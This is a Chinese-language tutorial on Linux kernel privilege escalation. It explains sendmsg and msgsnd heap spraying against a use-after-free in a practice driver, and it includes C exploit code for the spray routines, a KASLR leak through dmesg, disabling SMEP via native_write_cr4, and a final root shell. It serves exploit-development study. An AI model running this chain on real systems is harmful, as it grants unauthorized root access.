linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
字数 1012 2025-08-25 22:59:09

Linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用

一、堆喷函数介绍

在Linux内核下进行堆喷射时,首先需要注意喷射的堆块的大小,因为只有大小相近的堆块才保存在相同的cache中。

1. sendmsg函数

关键代码分析

static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, 
                         struct msghdr *msg_sys, unsigned int flags,
                         struct used_address *used_address,
                         unsigned int allowed_msghdr_flags)
{
    // 创建44字节的栈缓冲区ctl
    unsigned char ctl[sizeof(struct cmsghdr) + 20] __aligned(sizeof(__kernel_size_t));
    unsigned char *ctl_buf = ctl;
    
    // 如果msg_sys->msg_controllen小于INT_MAX
    if (msg_sys->msg_controllen > INT_MAX)
        goto out_freeiov;
    
    ctl_len = msg_sys->msg_controllen;
    
    if (ctl_len) {
        if (ctl_len > sizeof(ctl)) { // 注意用户数据的size必须大于44字节
            ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); // 分配ctl_len大小的堆块
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        
        // 将用户数据拷贝到ctl_buf内核空间
        if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len))
            goto out_freectl;
        
        msg_sys->msg_control = ctl_buf;
    }
    ...
}

利用特点

  • 只要传入size大于44,就能控制kmalloc申请的内核空间的数据
  • 数据流:msg -> msg_sys -> msg_sys->msg_controllen -> ctl_len
  • msg -> msg_sys->msg_control -> ctl_buf

利用流程

// 限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);

// 假设此时已经产生释放对象,但指针未清空
for (int i = 0; i < 100000; i++) {
    sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可

2. msgsnd函数

关键代码分析

// /ipc/msg.c
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg)
{
    return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
}

// /ipc/msg.c
static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg)
{
    struct msg_msg *msg;
    msg = load_msg(mtext, msgsz); // 调用load_msg
    ...
}

// /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    msg = alloc_msg(len); // alloc_msg
    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen)) // copy1
        goto out_err;
    ...
}

// /ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    alen = min(len, DATALEN_MSG);
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // 分配msg_msg结构大小
    ...
}

利用特点

  • 前0x30字节不可控
  • 数据量越大(如96字节),发生阻塞可能性越大,120次发送足够
  • 用户态的buffer大小等于xx-0x30

利用流程

// 只能控制0x30字节以后的内容
struct {
    long mtype;
    char mtext[BUFF_SIZE];
} msg;

memset(msg.mtext, 0x42, BUFF_SIZE - 1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;

int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0

// 假设此时已经产生释放对象,但指针未清空
for (int i = 0; i < 120; i++)
    msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

// 触发UAF即可

二、漏洞分析

1. 漏洞驱动分析

驱动包含多个漏洞,本文主要分析UAF漏洞及其利用。

关键数据结构

// uaf对象的结构,包含一个函数指针fn,size=84
typedef struct uaf_obj {
    char uaf_first_buff[56];
    long arg;
    void (*fn)(long);
    char uaf_second_buff[12];
} uaf_obj;

// k_object对象用于测试
typedef struct k_object {
    char kobj_buff[96];
} k_object;

漏洞代码

uaf_obj *global_uaf_obj = NULL;

// 分配uaf对象
static int alloc_uaf_obj(long __user arg) {
    struct uaf_obj *target;
    target = kmalloc(sizeof(uaf_obj), GFP_KERNEL);
    target->arg = arg;
    target->fn = uaf_callback;
    memset(target->uaf_first_buff, 0x41, sizeof(target->uaf_first_buff));
    global_uaf_obj = target;
    return 0;
}

// 释放uaf对象,但未清空global_uaf_obj指针
static void free_uaf_obj(void) {
    kfree(global_uaf_obj); // global_uaf_obj未置NULL
}

// 使用uaf对象,调用成员fn指向的函数
static void use_uaf_obj(void) {
    if (global_uaf_obj->fn) {
        global_uaf_obj->fn(global_uaf_obj->arg);
    }
}

// 分配k_object对象
static int alloc_k_obj(k_object *user_kobj) {
    k_object *trash_object = kmalloc(sizeof(k_object), GFP_KERNEL);
    ret = copy_from_user(trash_object, user_kobj, sizeof(k_object));
    return 0;
}

2. 利用思路

如果uaf_obj被释放,但指向它的global_uaf_obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。

测试代码:

void use_after_free_kobj(int fd) {
    k_object *obj = malloc(sizeof(k_object));
    memset(obj->buff, 0x42, 60); // 60 bytes覆盖地址的最后4字节
    ioctl(fd, ALLOC_UAF_OBJ, NULL);
    ioctl(fd, FREE_UAF_OBJ, NULL);
    ioctl(fd, ALLOC_K_OBJ, obj);
    ioctl(fd, USE_UAF_OBJ, NULL);
}

三、漏洞利用

1. 绕过SMEP

方法

CR4寄存器的第20位为1,则表示开启了SMEP。最简单的方法是通过native_write_cr4()函数:

static inline void native_write_cr4(unsigned long val) {
    asm volatile("mov %0,%%cr4" : : "r" (val), "m" (__force_order));
}

利用目标:

global_uaf_obj->fn(global_uaf_obj->arg) ---> native_write_cr4(global...->arg)

即执行native_write_cr4(0x407f0)即可。

sendmsg堆喷实现

void use_after_free_sendmsg(int fd, size_t target, size_t arg) {
    char buff[BUFF_SIZE];
    struct msghdr msg = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    
    // 布置堆喷数据
    memset(buff, 0x43, sizeof buff);
    memcpy(buff + 56, &arg, sizeof(long));
    memcpy(buff + 56 + (sizeof(long)), &target, sizeof(long));
    
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
    
    msg.msg_control = buff;
    msg.msg_controllen = BUFF_SIZE;
    msg.msg_name = (caddr_t)&addr;
    msg.msg_namelen = sizeof(addr);
    
    // 构造UAF对象
    ioctl(fd, ALLOC_UAF_OBJ, NULL);
    ioctl(fd, FREE_UAF_OBJ, NULL);
    
    // 开始堆喷
    for (int i = 0; i < 10000; i++) {
        sendmsg(sockfd, &msg, 0);
    }
    
    // 触发
    ioctl(fd, USE_UAF_OBJ, NULL);
}

msgsnd堆喷实现

int use_after_free_msgsnd(int fd, size_t target, size_t arg) {
    int new_len = BUFF_SIZE - 48;
    struct {
        size_t mtype;
        char mtext[new_len];
    } msg;
    
    // 布置堆喷数据,必须减去头部48字节
    memset(msg.mtext, 0x42, new_len - 1);
    memcpy(msg.mtext + 56 - 48, &arg, sizeof(long));
    memcpy(msg.mtext + 56 - 48 + (sizeof(long)), &target, sizeof(long));
    
    msg.mtext[new_len] = 0;
    msg.mtype = 1; // mtype必须大于0
    
    // 创建消息队列
    int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
    
    // 构造UAF对象
    ioctl(fd, ALLOC_UAF_OBJ, NULL);
    ioctl(fd, FREE_UAF_OBJ, NULL);
    
    // 开始堆喷
    for (int i = 0; i < 120; i++)
        msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
    
    // 触发
    ioctl(fd, USE_UAF_OBJ, NULL);
}

2. 绕过KASLR

方法

通过构造pagefault,利用内核打印信息来泄露kernel地址。

从dmesg可以获取类似信息:

[<ffffffff8122bc59>] SyS_ioctl+0x79/0x90

然后计算目标函数地址的相对偏移:

# cat /proc/kallsyms | grep native_write_cr4
ffffffff81065a30 t native_write_cr4

# cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810a6ca0 T prepare_kernel_cred

# cat /proc/kallsyms | grep commit_creds
ffffffff810a68b0 T commit_creds

3. 完整利用步骤

单核运行

void force_single_core() {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask))
        printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault\n");
    return;
}

泄露kernel基址

pid_t pid = fork();
if (pid == 0) {
    do_page_fault();
    exit(0);
}
int status;
wait(&status);

printf("[+] Begin to leak address by dmesg;
size_t kernel_base = get_info_leak() - sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+]\n", kernel_base);

native_write_cr4_addr += kernel_base;
prepare_kernel_cred_addr += kernel_base;
commit_creds_addr += kernel_base;

关闭SMEP并提权

// 关闭smep,并提权
use_after_free_sendmsg(fd, native_write_cr4_addr, fake_cr4);
use_after_free_sendmsg(fd, get_root, 0); // MMAP_ADDR

if (getuid() == 0) {
    printf("[+] Congratulations! You get root shell !!! [+]\n");
    system("/bin/sh");
}

四、总结

本教程详细介绍了Linux内核提权中利用sendmsg和msgsend函数进行堆喷射的技术,包括:

  1. 两种堆喷射函数的工作原理和利用方法
  2. UAF漏洞的分析和利用思路
  3. SMEP和KASLR防护的绕过方法
  4. 完整的提权利用链实现

关键点:

  • 堆喷射时要注意堆块大小匹配
  • sendmsg喷射需要size>44,msgsnd喷射前48字节不可控
  • UAF利用需要精确控制释放后重分配的内容
  • SMEP绕过通过修改CR4寄存器
  • KASLR绕过通过信息泄露获取内核基址
Linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用 一、堆喷函数介绍 在Linux内核下进行堆喷射时,首先需要注意喷射的堆块的大小,因为只有大小相近的堆块才保存在相同的cache中。 1. sendmsg函数 关键代码分析 利用特点 只要传入size大于44,就能控制kmalloc申请的内核空间的数据 数据流: msg -> msg_sys -> msg_sys->msg_controllen -> ctl_len msg -> msg_sys->msg_control -> ctl_buf 利用流程 2. msgsnd函数 关键代码分析 利用特点 前0x30字节不可控 数据量越大(如96字节),发生阻塞可能性越大,120次发送足够 用户态的buffer大小等于xx-0x30 利用流程 二、漏洞分析 1. 漏洞驱动分析 驱动包含多个漏洞,本文主要分析UAF漏洞及其利用。 关键数据结构 漏洞代码 2. 利用思路 如果uaf_ obj被释放,但指向它的global_ uaf_ obj变量未清零,若另一个对象分配到相同的cache,并且能够控制该cache上的内容,我们就能控制fn()调用的函数。 测试代码: 三、漏洞利用 1. 绕过SMEP 方法 CR4寄存器的第20位为1,则表示开启了SMEP。最简单的方法是通过 native_write_cr4() 函数: 利用目标: 即执行 native_write_cr4(0x407f0) 即可。 sendmsg堆喷实现 msgsnd堆喷实现 2. 绕过KASLR 方法 通过构造pagefault,利用内核打印信息来泄露kernel地址。 从dmesg可以获取类似信息: 然后计算目标函数地址的相对偏移: 3. 完整利用步骤 单核运行 泄露kernel基址 关闭SMEP并提权 四、总结 本教程详细介绍了Linux内核提权中利用sendmsg和msgsend函数进行堆喷射的技术,包括: 两种堆喷射函数的工作原理和利用方法 UAF漏洞的分析和利用思路 SMEP和KASLR防护的绕过方法 完整的提权利用链实现 关键点: 堆喷射时要注意堆块大小匹配 sendmsg喷射需要size>44,msgsnd喷射前48字节不可控 UAF利用需要精确控制释放后重分配的内容 SMEP绕过通过修改CR4寄存器 KASLR绕过通过信息泄露获取内核基址